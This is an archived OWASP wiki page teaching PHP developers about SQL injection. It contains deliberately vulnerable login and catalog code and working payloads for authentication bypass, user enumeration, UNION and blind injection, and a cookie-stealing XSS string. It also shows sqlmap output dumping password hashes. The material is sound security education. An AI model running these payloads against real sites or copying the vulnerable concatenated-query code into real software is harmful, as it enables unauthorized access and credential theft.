This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org

OWASP Backend Security Project PHP Preventing SQL Injection

From OWASP
Revision as of 21:53, 18 May 2008 by Dbellucci (talk | contribs)

Jump to: navigation, search

Examples

To better understand how to secure code a PHP application some examples of vulnerable code is provided in this paragraph.

Login Form

On this example we're going to see a tipical Login Form. On our example WEB SITE user need to supply a username/password pair in order to be authenticated.


Here follows the authentcation form:

Owasp bsp php 1.jpg

Such a login page well call login.php with supplied user credentials.

 
<?php
include('./db.inc');

function sAuthenticateUser($username, $password){
  $authenticatedUserName="";
  if ($link = iMysqlConnect()) {

    $query  = "SELECT username FROM users";
    $query .=                " WHERE username = '".$username."'";
    $query .=                " AND   password = md5('".$password."')";
    $result = mysql_query($query);

    if ($result) {
      if ($row = mysql_fetch_row($result)) {
	$authenticatedUserName =  $row[0];
      }
    }
  }

  return $authenticatedUserName;

}

if ($sUserName = sAuthenticateUser($_POST["username"], 
				   $_POST["password"])) {
  echo "Wellcome ".$sUserName;
 } else {
  die('Unauthorized Access');
 }

?>

db.inc:

 

<?php

define('DB_HOST',     "localhost");
define('DB_USERNAME', "user");
define('DB_PASSWORD', "password");
define('DB_DATABASE', "owasp");


function iMysqlConnect(){
  $link = mysql_connect(DB_HOST,
  	  DB_USERNAME,
			DB_PASSWORD);

  if ($link && mysql_select_db(DB_DATABASE))
    return $link;
  return FALSE;
}

?>


Source Code Exposure

As you can see login.php include db.inc to use iMysqlConnect whose aims is to return a resource link to backend MySQL engine. Since .inc files are not rendered by WEB Server through the PHP Module an evil user may retrieve it's content as shown in the following images:

Owasp bsp php 2.jpg


Authentication Bypass

On our examples user credentials are passed to login.php wich in turns call the following PHP function:


function sAuthenticateUser($username, $password){
  $authenticatedUserName="";
  if ($link = iMysqlConnect()) {

    $query  = "SELECT username FROM users";
    $query .=                " WHERE username = '".$username."'";
    $query .=                " AND   password = md5('".$password."')";
    $result = mysql_query($query);

    if ($result) {
      if ($row = mysql_fetch_row($result)) {
      $authenticatedUserName =  $row[0];
      }
    }
  }

  return $authenticatedUserName;

}

When user larry authenticate the following SQL Query it's executed:

  • SELECT username FROM users WHERE username='larry' AND password=md5('larry')

Breaking such an authentication schema is quite simple, since we need to :

  • truncate backend authentication query
  • injection a boolean expression to override WHERE clausole


  • On MySQL # is used as a comment character then whatever follows is discarderd from the engine.
  • Since our WHERE clausole is something like expr AND expr we can override it by adding an identity expresssion (E.g.: OR 1=1)


It follows that authentication can be bypassed by supplying the following credentials:

  • username: ' OR 1=1#
  • password: password
  • username: username
  • password: ') OR 1=1 #


User Enumeration

We learned on previous section that an evil user can bypass authentication schema by supplying the following credentials:

  • username: 'OR 1=1#
  • password: password

Let'say again what does sAuthenticateUser performs:

function sAuthenticateUser($username, $password){
  $authenticatedUserName="";
  if ($link = iMysqlConnect()) {

    $query  = "SELECT username FROM users";
    $query .=                " WHERE username = '".$username."'";
    $query .=                " AND   password = md5('".$password."')";
    $result = mysql_query($query);

    if ($result) {
      if ($row = mysql_fetch_row($result)) {
      $authenticatedUserName =  $row[0];
      }
    }
  }

  return $authenticatedUserName;

}


As you can see $query will contains the following SQL statement:

  • SELECT username FROM users WHERE username = OR 1=1#' AND password = md5('password')

wich in turns will be executed in:

  $result = mysql_query($query);  

By adding a LIMIT operator after the OR clausole we can index every valid user with the following queries:

  • SELECT username FROM users WHERE username = OR 1=1 LIMIT 0,1
  • SELECT username FROM users WHERE username = OR 1=1 LIMIT 1,1
  • SELECT username FROM users WHERE username = OR 1=1 LIMIT 2,1
  • .... and so on

We can accomplish the above task by supplying the following username/password pairs:

  • username: ' OR 1=1 LIMIT 0,1#
  • password: password


  • username: ' OR 1=1 LIMIT 1,1#
  • password: password


  • username: ' OR 1=1 LIMIT 2,1#
  • password: password


Online Catalog

Let take another example: an Online Book Store:

Owasp bsp php 3.jpg



catalog.php:

 
function aGetBookEntry($id) {
  $aBookEntry = NULL;
  $link = iMysqlConnect();

  $query = "SELECT * FROM books WHERE id = $id";
  $result = mysql_query($query);

  if ($result) {
    if ($row = mysql_fetch_array($result)) {
      $aBookEntry = $row;
    }
  }

  return $aBookEntry;

}


$id = $_GET['id'];
$aBookEntry = aGetBookEntry($id);

showBook($aBookEntry);

Basicaly it retrieves id parameter on GET query string and perform the following SQL query:

  • SELECT * FROM book WHERE id = $_GET['id']

As in Login Form no input validation is performed and SQL Query can be manipulated to returns arbitrary data and DBMS stored relations/records/functions as well.

UNION SELECT Injection

Since our Application is vulnerable to SQL Injection attacks we can injection a UNION SELECT statement to execute arbitrary expression agains remote backend system. Our first attempt will show how to retrieve DBMS Fingerprint.

To this aim we need to set up a UNION SELECT injection wich in turns need to know how many expression are evaluated on original SELECT statement. Let'try:

  • id=1 UNION ALL SELECT NULL# differs from original page (id=1)
  • id=1 UNION ALL SELECT NULL,NULL# differs from original page (id=1)
  • id=1 UNION ALL SELECT NULL,NULL,NULL# differs from original page (id=1)
  • id=1 UNION ALL SELECT NULL,NULL,NULL,NULL# differs from original page (id=1)
  • id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL# equals to original page (id=1)

Well we just guessed that original page (id=1) evaluates 5 expression on SELECT statement.


  • Retrieve DBMS banner
    id=1 UNION ALL SELECT NULL,version(),NULL,NULL,NULL LIMIT 1,1#"'
  • Retrieve current user
    id=1 UNION ALL SELECT NULL,user(),NULL,NULL,NULL LIMIT 1,1#

Client Side SQL Injection

If data retrieved from backend Database in not properly validated we can exploit SQL Injection vulnerabilities in catalog.php to perform a Cross Site Scripting Attack as well:

  • id=1 UNION ALL SELECT NULL,'<script>alert(document.cookie)</script>',NULL,NULL,NULL LIMIT 1,1#''


Owasp bsp php 4.jpg


BLIND SQL Injection

While a SQL Injection occours web server may responds with error message describing why remove database engine fails to execute SQL statement. Sometime network administrator properly tune WEB Server to hide error message. When it occours you don't know if SQL Injection has been executed with no errors at all. Blind SQL Injection is identical except that attacker need to compare orginal page with the one where SQL statement has been injected in some way.


We know that catalog.php:

function aGetBookEntry($id) {
  $aBookEntry = NULL;
  $link = iMysqlConnect();

  $query = "SELECT * FROM books WHERE id = $id";
  $result = mysql_query($query);

  if ($result) {
    if ($row = mysql_fetch_array($result)) {
      $aBookEntry = $row;
    }
  }

  return $aBookEntry;

}
 

query backend database with the following SQL statement:

 SELECT * FROM book WHERE id=$_GET['id']

which will retrieve the same record set of:

 SELECT * FROM book WHERE id=$_GET['id'] AND 1=1

while the following will retrieve an empty record set:

 SELECT * FROM book WHERE id=$_GET['id'] AND 1=0

You can easily guess than Blind SQL Injection can be checked by supplying to catalog.php the followings id parameters:

  • id=1 AND 1=1
  • id=1 AND 1=0

First one will return the same page of /catalog.php?id=1, latter will return a completely different pages. It's worst noticing that we can replace the above TRUE statement (1=1) with what ever we want to compare as a TRUE boolean identity expression.

Database Enumeration

Blind SQL Injection is a very usefull attacks to enumerate backend DBMS data. We'll see in this section how to accomplish this task.

As you remember our WEB Page is vulnerable to Blind SQL Injection since:

  • /catalog.php?id=1 gives the same contents of /catalog.php?id=1 AND 1=1
  • /catalog.php?id=1 differs from /catalog.php?id=1 AND 1=0

Replacing TRUE expression: 1=1:

Let's start with a simple example. We want to enumerate current database name. MySQL has a builtint function to accomplish this task: database():

 SELECT database()

database() returns a string containing current database name. To find it's values through a Blind SQL Injection we need to catch out one character at time from it's result value.

How to find out database() length:

We know that SELECT LENGTH(database()) return length of current database name. How can we find out it's value?

By starting from 1 we need to compare original WEB Page with:

  • id=1 AND (LENGTH(database()) = 1)
  • id=1 AND (LENGTH(database()) = 2)
  • id=1 AND (LENGTH(database()) = 3)

....

until we find contents from starting page:

  • id=1 AND (LENGTH(database()) = 5)

We just find that current database name length is equals to five. Next step is to enumerate it's characters.

database() chars enumeration:

To this aim we need to use:

  • SUBSTR(string, offset, length): returns a substring of string starting from offset till

offset + length - 1

  • ORD(char): returns ASCII value of char

It's easy to guess that:

  • ORD(SUBSTR(database,1,1) will return first char of database()
  • ORD(SUBSTR(database,2,1) will return second char of database()
  • ORD(SUBSTR(database,3,1) will return third char of database()

and so on.

These are some of techniques used by sqlmap to enumerate DBMS contents by exploiting a Blind SQL Injection Vulnerability.

 
[522] belch@wild:sqlmap/ => ./sqlmap.py --current-db -u "http://localhost/owaspbes/securecoding/catalog.php?id=1"

    sqlmap/0.6-rc5 coded by inquis <[email protected]>
                    and belch <[email protected]>
    
[*] starting at: 23:45:06

remote DBMS:    MySQL >= 5.0.0

current database:    'owasp'

[*] shutting down at: 23:45:08


 
[526] belch@wild:sqlmap/ => ./sqlmap.py --tables --database owasp -u "http://localhost/owaspbes/securecoding/catalog.php?id=1" 

    sqlmap/0.6-rc5 coded by inquis <[email protected]>
                    and belch <[email protected]>
    
[*] starting at: 23:46:44

remote DBMS:    MySQL >= 5.0.0

Database: owasp
[2 tables]
+-------+
| books |
| users |
+-------+

[*] shutting down at: 23:46:47



 
[533] belch@wild:sqlmap/ => ./sqlmap.py  -T users --database owasp --dump -u "http://localhost/owaspbes/securecoding/catalog.php?id=1" 

    sqlmap/0.6-rc5 coded by inquis <[email protected]>
                    and belch <[email protected]>
    
[*] starting at: 23:48:08

remote DBMS:    MySQL >= 5.0.0

Database: owasp
Table: users
[3 entries]
+----+----------------------------------+----------+
| id | password                         | username |
+----+----------------------------------+----------+
| 1  | 66f4b449b3a98abf87f2521e35513542 | larry    |
| 2  | 3b87c97d15e8eb11e51aa25e9a5770e9 | harry    |
| 3  | 21232f297a57a5a743894a0e4a801fc3 | admin    |
+----+----------------------------------+----------+

[*] shutting down at: 23:48:22




Application Security strategies

Hiding DBMS connection strings

Single Quotes Escape

Prepared Statement

Data Validation

Security in Depth

Examples Revisited

Login Form

Online Catalog

Defeating Automated Tools

References

Tools